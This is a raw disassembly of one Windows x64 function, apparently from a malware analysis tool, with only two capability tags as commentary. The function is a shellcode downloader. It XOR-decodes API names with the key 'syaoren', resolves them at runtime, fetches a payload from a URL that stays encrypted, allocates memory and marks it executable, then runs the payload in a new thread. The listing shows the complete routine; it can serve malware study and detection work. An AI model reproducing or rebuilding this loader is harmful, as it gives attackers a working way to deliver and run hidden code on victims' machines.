Function at 0x140001080
Capabilities:
Encode data using xor
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor edi, edi
lea rcx, [0x1400050aa]
mov ebx, 2
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x34], edi
lea r12, str.syaoren
mov r8d, edi
mov r9d, ebx
movabs r15, 0x2492492492492493
mov rax, r15
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub r8, rax
movzx eax, byte [r8 + r12]
xor byte [rcx - 2], al
mov rax, r15
movsxd r8, r9d
dec r8
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub r8, rax
movzx eax, byte [r8 + r12]
xor byte [rcx - 1], al
mov rax, r15
movsxd r8, r9d
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub r8, rax
movzx eax, byte [r8 + r12]
xor byte [rcx], al
mov rax, r15
movsxd r8, r9d
inc r8
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub r8, rax
movzx eax, byte [r8 + r12]
xor byte [rcx + 1], al
mov rax, r15
movsxd r8, r9d
add r8, rbx
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub r8, rax
movzx eax, byte [r8 + r12]
xor byte [rcx + 2], al
mov rax, r15
movsxd r8, r9d
add r8, 3
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub r8, rax
movzx eax, byte [r8 + r12]
xor byte [rcx + 3], al
mov rax, r15
movsxd r8, r9d
add r8, 4
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
lea rcx, [rcx + 0xb]
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub r8, rax
movzx eax, byte [r8 + r12]
xor byte [rcx - 7], al
mov rax, r15
movsxd r8, r9d
add r8, 5
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub r8, rax
movzx eax, byte [r8 + r12]
xor byte [rcx - 6], al
mov rax, r15
movsxd r8, r9d
add r8, 6
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub r8, rax
movzx eax, byte [r8 + r12]
xor byte [rcx - 5], al
mov rax, r15
movsxd r8, r9d
add r8, 7
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub r8, rax
movzx eax, byte [r8 + r12]
xor byte [rcx - 4], al
mov rax, r15
movsxd r8, r9d
add r9d, 0xb
add r8, 8
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub r8, rax
movzx eax, byte [r8 + r12]
xor byte [rcx - 3], al
lea eax, [r9 - 2]
movsxd r8, eax
cmp r8, 0xb
jb 0x1400010d0
lea rcx, [0x1400050a8]
mov byte [0x1400050b3], dil
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x140005730], rax
mov rcx, rdi
mov r10, rax
lea r8, [0x14000507a]
mov r9d, ebx
nop dword [rax]
mov rax, r15
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 - 2], al
mov rax, r15
movsxd rcx, r9d
dec rcx
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 - 1], al
mov rax, r15
movsxd rcx, r9d
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8], al
mov rax, r15
movsxd rcx, r9d
inc rcx
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 1], al
mov rax, r15
movsxd rcx, r9d
add rcx, rbx
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 2], al
mov rax, r15
movsxd rcx, r9d
add rcx, 3
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 3], al
mov rax, r15
movsxd rcx, r9d
add rcx, 4
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 4], al
mov rax, r15
movsxd rcx, r9d
add rcx, 5
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 5], al
mov rax, r15
movsxd rcx, r9d
add rcx, 6
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 6], al
mov rax, r15
movsxd rcx, r9d
add rcx, 7
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 7], al
mov rax, r15
movsxd rcx, r9d
add rcx, 8
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 8], al
mov rax, r15
movsxd rcx, r9d
add rcx, 9
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 9], al
mov rax, r15
movsxd rcx, r9d
add rcx, 0xa
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 0xa], al
mov rax, r15
movsxd rcx, r9d
add rcx, 0xb
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 0xb], al
mov rax, r15
movsxd rcx, r9d
add rcx, 0xc
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 0xc], al
mov rax, r15
movsxd rcx, r9d
add rcx, 0xd
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 0xd], al
mov rax, r15
movsxd rcx, r9d
add rcx, 0xe
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 0xe], al
mov rax, r15
movsxd rcx, r9d
add rcx, 0xf
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 0xf], al
mov rax, r15
movsxd rcx, r9d
add rcx, 0x10
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 0x10], al
lea r8, [r8 + 0x13]
add r9d, 0x13
lea eax, [r9 - 2]
movsxd rcx, eax
cmp rcx, 0x13
jb 0x1400012f0
mov byte [0x14000508b], dil
lea r8, [0x1400050ca]
mov rcx, rdi
mov r9d, ebx
nop word [rax + rax]
mov rax, r15
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 - 2], al
mov rax, r15
movsxd rcx, r9d
dec rcx
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 - 1], al
mov rax, r15
movsxd rcx, r9d
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8], al
mov rax, r15
movsxd rcx, r9d
inc rcx
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 1], al
mov rax, r15
movsxd rcx, r9d
add rcx, rbx
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 2], al
mov rax, r15
movsxd rcx, r9d
add rcx, 3
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 3], al
mov rax, r15
movsxd rcx, r9d
add rcx, 4
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 4], al
mov rax, r15
movsxd rcx, r9d
add rcx, 5
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 5], al
mov rax, r15
movsxd rcx, r9d
add rcx, 6
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 6], al
mov rax, r15
movsxd rcx, r9d
add rcx, 7
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 7], al
mov rax, r15
movsxd rcx, r9d
add rcx, 8
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 8], al
mov rax, r15
movsxd rcx, r9d
add rcx, 9
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 9], al
mov rax, r15
movsxd rcx, r9d
add rcx, 0xa
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
add r9d, 0xd
lea r8, [r8 + 0xd]
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 - 3], al
lea eax, [r9 - 2]
movsxd rcx, eax
cmp rcx, 0xd
jb 0x140001670
lea rdx, [0x1400050c8]
mov byte [0x1400050d5], dil
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005780], rax
mov rcx, rdi
mov r9d, ebx
lea r8, [0x14000513a]
nop
mov rax, r15
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 - 2], al
mov rax, r15
movsxd rcx, r9d
dec rcx
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 - 1], al
mov rax, r15
movsxd rcx, r9d
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8], al
mov rax, r15
movsxd rcx, r9d
inc rcx
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 1], al
mov rax, r15
movsxd rcx, r9d
add rcx, rbx
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 2], al
mov rax, r15
movsxd rcx, r9d
add rcx, 3
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 3], al
mov rax, r15
movsxd rcx, r9d
add rcx, 4
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 4], al
mov rax, r15
movsxd rcx, r9d
add rcx, 5
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 5], al
mov rax, r15
movsxd rcx, r9d
add rcx, 6
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 6], al
mov rax, r15
movsxd rcx, r9d
add rcx, 7
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 7], al
mov rax, r15
movsxd rcx, r9d
add rcx, 8
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 8], al
mov rax, r15
movsxd rcx, r9d
add rcx, 9
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 9], al
mov rax, r15
movsxd rcx, r9d
add rcx, 0xa
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
lea r8, [r8 + 0x10]
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 - 6], al
mov rax, r15
movsxd rcx, r9d
add rcx, 0xb
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 - 5], al
mov rax, r15
movsxd rcx, r9d
add rcx, 0xc
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 - 4], al
mov rax, r15
movsxd rcx, r9d
add r9d, 0x10
add rcx, 0xd
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 - 3], al
lea eax, [r9 - 2]
movsxd rcx, eax
cmp rcx, 0x10
jb 0x1400018f0
mov rcx, qword [0x140005730]
lea rdx, [0x140005138]
mov byte [0x140005148], dil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor r8d, r8d
mov qword [0x140005758], rax
lea rcx, str.Sy40r3n
lea edx, [r9 + 1]
call qword [0x140005780]
mov r14, rax
test rax, rax
jne 0x140001c4b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Failed_to_open_a_connection
lea rcx, str._____s__Error__d_n
call fcn.140001010
mov rcx, qword [0x140005730]
lea rdx, [0x140005078]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005750], rax
jmp 0x14000210c
mov qword [rsp + 0x28], rdi
lea rdx, [0x140005100]
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov qword [rsp + 0x68], rsi
mov rcx, r14
call qword [0x140005758]
mov rsi, rax
test rax, rax
jne 0x140001cb0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Failed_to_open_a_URL
lea rcx, str._____s__Error__d_n
call fcn.140001010
mov rcx, qword [0x140005730]
lea rdx, [0x140005078]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x1400020ed
xor ecx, ecx
mov qword [rsp + 0x60], rbp
mov edx, 0x10000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [0x140005768]
mov rbp, rax
test rax, rax
jne 0x140001cf5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Failed_to_allocate_memory
lea rcx, str._____s__Error__d_n
call fcn.140001010
jmp 0x1400020d4
mov rcx, rdi
lea r8, [0x140005092]
nop
mov rax, r15
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 - 2], al
mov rax, r15
movsxd rcx, ebx
dec rcx
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 - 1], al
mov rax, r15
movsxd rcx, ebx
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8], al
mov rax, r15
movsxd rcx, ebx
inc rcx
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 1], al
mov rax, r15
movsxd rcx, ebx
add rcx, 2
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 2], al
mov rax, r15
movsxd rcx, ebx
add rcx, 3
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 3], al
mov rax, r15
movsxd rcx, ebx
add rcx, 4
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 4], al
mov rax, r15
movsxd rcx, ebx
add rcx, 5
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 5], al
mov rax, r15
movsxd rcx, ebx
add rcx, 6
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 6], al
mov rax, r15
movsxd rcx, ebx
add rcx, 7
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 7], al
mov rax, r15
movsxd rcx, ebx
add rcx, 8
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 8], al
mov rax, r15
movsxd rcx, ebx
add rcx, 9
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 + 9], al
mov rax, r15
movsxd rcx, ebx
add rcx, 0xa
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
lea r8, [r8 + 0x10]
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 - 6], al
mov rax, r15
movsxd rcx, ebx
add rcx, 0xb
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 - 5], al
mov rax, r15
movsxd rcx, ebx
add rcx, 0xc
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 - 4], al
mov rax, r15
movsxd rcx, ebx
add ebx, 0x10
add rcx, 0xd
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r12]
xor byte [r8 - 3], al
lea eax, [rbx - 2]
movsxd rcx, eax
cmp rcx, 0x10
jb 0x140001d00
mov rcx, qword [0x140005730]
lea rdx, [0x140005090]
mov byte [0x1400050a0], dil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov rdx, rbp
mov qword [0x140005770], rax
mov rcx, rsi
mov rbx, rbp
call rax
test eax, eax
je 0x14000203b
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x14000203b
add rbx, rax
lea r9, [rsp + 0x30]
mov rdx, rbx
mov r8d, 0x1000
mov rcx, rsi
call qword [0x140005770]
test eax, eax
jne 0x140002015
lea r9, [rsp + 0x34]
mov edx, 0x10000
mov r8d, 0x20
mov rcx, rbp
call qword [0x140005788]
test eax, eax
jne 0x140002076
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Failed_to_set_new_permission
lea rcx, str._____s__Error__d_n
call fcn.140001010
jmp 0x1400020d4
mov qword [rsp + 0x28], rdi
xor r9d, r9d
mov r8, rbp
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [0x140005760]
mov rbx, rax
test rax, rax
jne 0x1400020b5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Failed_to_create_thread_to_execute_payload
lea rcx, str._____s__Error__d_n
call fcn.140001010
jmp 0x1400020d4
lea rcx, str.___Waiting_for_thread_return..._n
call fcn.140001010
mov edx, 0xffffffff
mov rcx, rbx
call qword [0x140005778]
mov edi, 1
mov rcx, qword [0x140005730]
lea rdx, [0x140005078]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, qword [rsp + 0x60]
mov rcx, r14
mov qword [0x140005750], rax
call rax
test rsi, rsi
je 0x140002107
mov rcx, rsi
call qword [0x140005750]
mov rsi, qword [rsp + 0x68]
mov eax, edi
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140002140
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
ret